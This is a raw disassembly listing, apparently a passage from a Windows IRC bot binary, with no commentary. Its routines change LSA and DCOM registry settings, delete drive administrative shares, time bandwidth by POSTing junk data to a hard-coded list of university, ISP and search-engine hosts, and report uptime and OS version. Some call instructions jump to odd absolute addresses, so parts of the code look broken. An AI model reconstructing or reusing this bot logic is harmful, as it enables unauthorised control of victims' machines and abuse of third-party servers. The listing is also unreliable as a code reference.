		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A464:				; CODE XREF: sub_41A3C6+89j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A483
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A483:				; CODE XREF: sub_41A3C6+A1j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	edi
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA54
		test	eax, eax
		jnz	short loc_41A4F1
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	edi
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], 1
		call	dword_4CBA08
		test	eax, eax
		jz	short loc_41A4D3
		push	offset dword_43A728
		jmp	short loc_41A4D8
; ---------------------------------------------------------------------------


loc_41A4D3:				; CODE XREF: sub_41A3C6+104j
		push	offset dword_43A6F4


loc_41A4D8:				; CODE XREF: sub_41A3C6+10Bj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0
		jmp	short loc_41A50B
; ---------------------------------------------------------------------------


loc_41A4F1:				; CODE XREF: sub_41A3C6+E2j
		push	offset dword_43A6B8
		jmp	short loc_41A4FD
; ---------------------------------------------------------------------------


loc_41A4F8:				; CODE XREF: sub_41A3C6+13j
		push	offset dword_43A688


loc_41A4FD:				; CODE XREF: sub_41A3C6+130j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A50B:				; CODE XREF: sub_41A3C6+129j
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A52A
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A52A:				; CODE XREF: sub_41A3C6+148j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		cmp	dword_4CBADC, edi
		pop	ecx
		jnz	loc_41A6A5
		push	ebx
		mov	[ebp+var_4], edi
		mov	[ebp+var_14], edi
		mov	[ebp+var_C], edi


loc_41A54D:				; CODE XREF: sub_41A3C6+2C3j
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		lea	eax, [ebp+var_8]
		push	0FFFFFFFFh
		push	eax
		push	1F6h
		push	edi
		call	dword_4CB928
		cmp	eax, edi
		mov	[ebp+var_10], eax
		jz	short loc_41A5EA
		cmp	eax, 0EAh
		jz	short loc_41A5EA
		mov	esi, offset off_43A550


loc_41A57E:				; CODE XREF: sub_41A3C6+21Dj
		push	dword ptr [esi]
		push	edi
		call	sub_4191B8
		pop	ecx
		pop	ecx
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A595
		push	offset dword_43A664
		jmp	short loc_41A59A
; ---------------------------------------------------------------------------


loc_41A595:				; CODE XREF: sub_41A3C6+1C6j
		push	offset dword_43A638


loc_41A59A:				; CODE XREF: sub_41A3C6+1CDj
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A5CD
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A5CD:				; CODE XREF: sub_41A3C6+1EBj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A570
		jb	short loc_41A57E
		jmp	loc_41A682
; ---------------------------------------------------------------------------


loc_41A5EA:				; CODE XREF: sub_41A3C6+1AAj
					; sub_41A3C6+1B1j
		mov	esi, [ebp+var_8]
		push	1
		pop	ebx
		cmp	[ebp+var_4], ebx
		jb	loc_41A679


loc_41A5F9:				; CODE XREF: sub_41A3C6+2AFj
		mov	edi, [esi]
		push	edi
		call	sub_41E0B7
		cmp	word ptr [edi+eax*2-2],	24h
		pop	ecx
		jnz	short loc_41A66E
		push	edi
		call	sub_4190A5
		push	eax
		push	0
		call	sub_4191B8
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A628
		push	offset dword_43A614
		jmp	short loc_41A62D
; ---------------------------------------------------------------------------


loc_41A628:				; CODE XREF: sub_41A3C6+259j
		push	offset dword_43A5E8


loc_41A62D:				; CODE XREF: sub_41A3C6+260j
		lea	eax, [ebp+var_214]
		push	200h
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A661
		push	1
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A661:				; CODE XREF: sub_41A3C6+27Fj
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A66E:				; CODE XREF: sub_41A3C6+242j
		add	esi, 28h
		inc	ebx
		cmp	ebx, [ebp+var_4]
		jbe	short loc_41A5F9
		xor	edi, edi


loc_41A679:				; CODE XREF: sub_41A3C6+22Dj
		push	[ebp+var_8]
		call	dword_4CBA74


loc_41A682:				; CODE XREF: sub_41A3C6+21Fj
		cmp	[ebp+var_10], 0EAh
		jz	loc_41A54D
		lea	eax, [ebp+var_214]
		push	offset dword_43A5C0
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		pop	ebx
		jmp	short loc_41A6B8
; ---------------------------------------------------------------------------


loc_41A6A5:				; CODE XREF: sub_41A3C6+177j
		lea	eax, [ebp+var_214]
		push	offset dword_43A590
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A6B8:				; CODE XREF: sub_41A3C6+2DDj
		cmp	[ebp+arg_C], edi
		jnz	short loc_41A6D6
		push	edi
		lea	eax, [ebp+var_214]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A6D6:				; CODE XREF: sub_41A3C6+2F5j
		lea	eax, [ebp+var_214]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	edi
		pop	esi
		leave
		retn
sub_41A3C6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6EA	proc near		; CODE XREF: sub_41A366:loc_41A3ADp

var_220		= byte ptr -220h
var_20		= byte ptr -20h
var_14		= byte ptr -14h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 220h
		push	ebx
		xor	ebx, ebx
		cmp	dword_4CBAB4, ebx
		push	esi
		jnz	loc_41A818
		lea	eax, [ebp+var_4]
		mov	esi, 80000002h
		push	eax
		push	2001Fh
		push	ebx
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
		push	esi
		call	dword_4CBA54
		test	eax, eax
		jnz	short loc_41A775
		mov	ax, word_4392E4
		mov	word ptr [ebp+var_8+2],	ax
		lea	eax, [ebp+var_8+2]
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8+2]
		push	eax
		push	1
		push	ebx
		push	offset aEnabledcom ; "EnableDCOM"
		push	[ebp+var_4]
		call	dword_4CBA08
		test	eax, eax
		jz	short loc_41A757
		push	offset dword_43A940
		jmp	short loc_41A75C
; ---------------------------------------------------------------------------


loc_41A757:				; CODE XREF: sub_41A6EA+64j
		push	offset dword_43A924


loc_41A75C:				; CODE XREF: sub_41A6EA+6Bj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0
		jmp	short loc_41A788
; ---------------------------------------------------------------------------


loc_41A775:				; CODE XREF: sub_41A6EA+36j
		lea	eax, [ebp+var_220]
		push	offset dword_43A778
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A788:				; CODE XREF: sub_41A6EA+89j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A7A7
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A7A7:				; CODE XREF: sub_41A6EA+A1j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		lea	eax, [ebp+var_4]
		push	eax
		push	0F003Fh
		push	ebx
		push	offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa"
		push	esi
		call	dword_4CBA54
		test	eax, eax
		jnz	short loc_41A811
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		push	4
		push	ebx
		push	offset aRestrictanonym ; "restrictanonymous"
		push	[ebp+var_4]
		mov	[ebp+var_8], ebx
		call	dword_4CBA08
		test	eax, eax
		jz	short loc_41A7F3
		push	offset dword_43A8E4
		jmp	short loc_41A7F8
; ---------------------------------------------------------------------------


loc_41A7F3:				; CODE XREF: sub_41A6EA+100j
		push	offset dword_43A8AC


loc_41A7F8:				; CODE XREF: sub_41A6EA+107j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB9C0
		jmp	short loc_41A82B
; ---------------------------------------------------------------------------


loc_41A811:				; CODE XREF: sub_41A6EA+E2j
		push	offset dword_43A870
		jmp	short loc_41A81D
; ---------------------------------------------------------------------------


loc_41A818:				; CODE XREF: sub_41A6EA+13j
		push	offset dword_43A688


loc_41A81D:				; CODE XREF: sub_41A6EA+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A82B:				; CODE XREF: sub_41A6EA+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A84A
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A84A:				; CODE XREF: sub_41A6EA+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		cmp	dword_4CBADC, ebx
		pop	ecx
		jnz	loc_41A9BF
		push	edi
		mov	esi, offset off_43A550
		mov	edi, 200h


loc_41A86E:				; CODE XREF: sub_41A6EA+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_41910C
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A889
		push	offset dword_43A850
		jmp	short loc_41A88E
; ---------------------------------------------------------------------------


loc_41A889:				; CODE XREF: sub_41A6EA+196j
		push	offset dword_43A828


loc_41A88E:				; CODE XREF: sub_41A6EA+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A8BD
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A8BD:				; CODE XREF: sub_41A6EA+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A560
		jb	short loc_41A86E
		call	near ptr 28A0CADh
		nop
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A9A7


loc_41A8E8:				; CODE XREF: sub_41A6EA+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A99C
		cmp	bl, 41h
		jz	loc_41A99C
		movsx	esi, bl
		push	esi
		push	offset aC_2	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_1	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CBA44
		cmp	eax, 3
		jnz	short loc_41A99C
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_41910C
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A95A
		push	offset dword_43A850
		jmp	short loc_41A95F
; ---------------------------------------------------------------------------


loc_41A95A:				; CODE XREF: sub_41A6EA+267j
		push	offset dword_43A828


loc_41A95F:				; CODE XREF: sub_41A6EA+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41C360
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A98F
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A98F:				; CODE XREF: sub_41A6EA+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx


loc_41A99C:				; CODE XREF: sub_41A6EA+206j
					; sub_41A6EA+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A8E8


loc_41A9A7:				; CODE XREF: sub_41A6EA+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A7F8
		push	eax
		call	sub_41C266
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A9D2
; ---------------------------------------------------------------------------


loc_41A9BF:				; CODE XREF: sub_41A6EA+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A590
		push	eax
		call	sub_41C266
		pop	ecx
		pop	ecx


loc_41A9D2:				; CODE XREF: sub_41A6EA+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A9F0
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_41A9F0:				; CODE XREF: sub_41A6EA+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_415D38
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA04	proc near		; CODE XREF: sub_41ABFB+CBp
					; sub_41ABFB+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 26B0BDDh
		push	eax
		call	sub_41C2B8
		pop	ecx
		call	sub_41C2C2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41AA04	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA1E	proc near		; CODE XREF: sub_41ABFB+D4p
					; sub_41ABFB+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41B9C0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41ABF7
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41BF70
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40A8F0
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41ABF7
		push	50h
		call	dword_4CB9E4
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CBA64
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41ABF7
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB98C
		cmp	eax, 0FFFFFFFFh
		jz	loc_41ABF7
		push	32003h
		call	sub_41D9A5
		mov	edi, dword_4270B0
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41C2B8
		call	sub_41C2C2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41BF70
		push	32000h
		push	esi
		push	ebx
		call	sub_41BF70
		push	ebx
		call	sub_41B9C0
		push	323EAh
		mov	ebx, eax
		call	sub_41D9A5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41C266
		push	[ebp+var_8]
		push	esi
		call	sub_41C8A0
		push	offset asc_4349F4 ; "\r\n"
		push	esi
		call	sub_41C8A0
		push	esi
		call	sub_41B9C0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41AB77
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41AB47
; ---------------------------------------------------------------------------


loc_41AB44:				; CODE XREF: sub_41AA1E+157j
		mov	eax, [ebp+arg_0]


loc_41AB47:				; CODE XREF: sub_41AA1E+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41AB57
		push	[ebp+var_C]
		jmp	short loc_41AB58
; ---------------------------------------------------------------------------


loc_41AB57:				; CODE XREF: sub_41AA1E+132j
		push	ebx


loc_41AB58:				; CODE XREF: sub_41AA1E+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CBA34
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41ABDE
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41AB44


loc_41AB77:				; CODE XREF: sub_41AA1E+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_4276F4
		fst	[ebp+arg_0]
		fcomp	flt_4276F0
		fnstsw	ax
		sahf
		jnz	short loc_41AB9F
		fld1
		fstp	[ebp+arg_0]


loc_41AB9F:				; CODE XREF: sub_41AA1E+17Aj
		push	[ebp+var_4]
		call	dword_4CBA7C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_4276EC
		fmul	flt_4276E8
		call	sub_41D174


loc_41ABD9:				; CODE XREF: sub_41AA1E+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41ABDE:				; CODE XREF: sub_41AA1E+149j
		push	[ebp+var_4]
		call	dword_4CBA7C
		push	[ebp+var_8]
		call	sub_41BA91
		push	esi
		call	sub_41BA91
		pop	ecx
		pop	ecx


loc_41ABF7:				; CODE XREF: sub_41AA1E+19j
					; sub_41AA1E+42j ...
		xor	eax, eax
		jmp	short loc_41ABD9
sub_41AA1E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ABFB	proc near		; CODE XREF: sub_401ACD+2E1Ep

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		push	8
		mov	esi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_3C]
		call	sub_41AA1E
		add	esp, 10h
		test	esi, esi
		jz	short loc_41ACFC
		test	eax, eax
		jz	short loc_41ACF8
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACF8:				; CODE XREF: sub_41ABFB+F4j
		mov	ebx, esi
		jmp	short loc_41ACFE
; ---------------------------------------------------------------------------


loc_41ACFC:				; CODE XREF: sub_41ABFB+F0j
		mov	ebx, eax


loc_41ACFE:				; CODE XREF: sub_41ABFB+FBj
					; sub_41ABFB+FFj
		push	0Ch
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		push	0Ch
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_6C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD36
		test	eax, eax
		jz	short loc_41AD32
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD32:				; CODE XREF: sub_41ABFB+12Ej
		mov	esi, edi
		jmp	short loc_41AD38
; ---------------------------------------------------------------------------


loc_41AD36:				; CODE XREF: sub_41ABFB+12Aj
		mov	esi, eax


loc_41AD38:				; CODE XREF: sub_41ABFB+135j
					; sub_41ABFB+139j
		push	6
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		push	6
		mov	edi, eax
		call	sub_41AA04
		push	[ebp+eax*4+var_1C]
		call	sub_41AA1E
		add	esp, 10h
		test	edi, edi
		jz	short loc_41AD70
		test	eax, eax
		jz	short loc_41AD6C
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD6C:				; CODE XREF: sub_41ABFB+168j
		mov	ecx, edi
		jmp	short loc_41AD72
; ---------------------------------------------------------------------------


loc_41AD70:				; CODE XREF: sub_41ABFB+164j
		mov	ecx, eax


loc_41AD72:				; CODE XREF: sub_41ABFB+16Fj
					; sub_41ABFB+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41AD7F
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41AD82
; ---------------------------------------------------------------------------


loc_41AD7F:				; CODE XREF: sub_41ABFB+17Bj
		push	2
		pop	edi


loc_41AD82:				; CODE XREF: sub_41ABFB+182j
		test	esi, esi
		jz	short loc_41AD8A
		add	eax, esi
		jmp	short loc_41AD8B
; ---------------------------------------------------------------------------


loc_41AD8A:				; CODE XREF: sub_41ABFB+189j
		dec	edi


loc_41AD8B:				; CODE XREF: sub_41ABFB+18Dj
		test	ecx, ecx
		jz	short loc_41AD93
		add	eax, ecx
		jmp	short loc_41AD94
; ---------------------------------------------------------------------------


loc_41AD93:				; CODE XREF: sub_41ABFB+192j
		dec	edi


loc_41AD94:				; CODE XREF: sub_41ABFB+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A998
		push	eax
		call	sub_41C266
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_415D38
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41ABFB	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ADD8	proc near		; CODE XREF: sub_401ACD+257Bp
					; sub_401ACD+29CDp ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		call	near ptr 26B0BDDh
		nop
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DBCA0
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41C360
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41ADD8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AE41	proc near		; CODE XREF: sub_4172C1+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 2700000h
		test	eax, eax
		jz	short loc_41AED4
		cmp	[ebp+var_90], 4
		jnz	short loc_41AEAA
		cmp	[ebp+var_8C], esi
		jnz	short loc_41AE92
		cmp	[ebp+var_84], 1
		jnz	short loc_41AE85
		push	1
		pop	esi


loc_41AE85:				; CODE XREF: sub_41AE41+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41AED4
		push	1
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE92:				; CODE XREF: sub_41AE41+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41AE9F


loc_41AE9B:				; CODE XREF: sub_41AE41+78j
		push	2
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AE9F:				; CODE XREF: sub_41AE41+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41AED4
		jmp	short loc_41AEC4
; ---------------------------------------------------------------------------


loc_41AEAA:				; CODE XREF: sub_41AE41+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41AED4
		cmp	[ebp+var_8C], esi
		jz	short loc_41AE9B
		cmp	[ebp+var_8C], 1
		jnz	short loc_41AEC8


loc_41AEC4:				; CODE XREF: sub_41AE41+67j
		push	3
		jmp	short loc_41AED3
; ---------------------------------------------------------------------------


loc_41AEC8:				; CODE XREF: sub_41AE41+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41AED4
		push	7


loc_41AED3:				; CODE XREF: sub_41AE41+4Fj
					; sub_41AE41+5Cj ...
		pop	esi


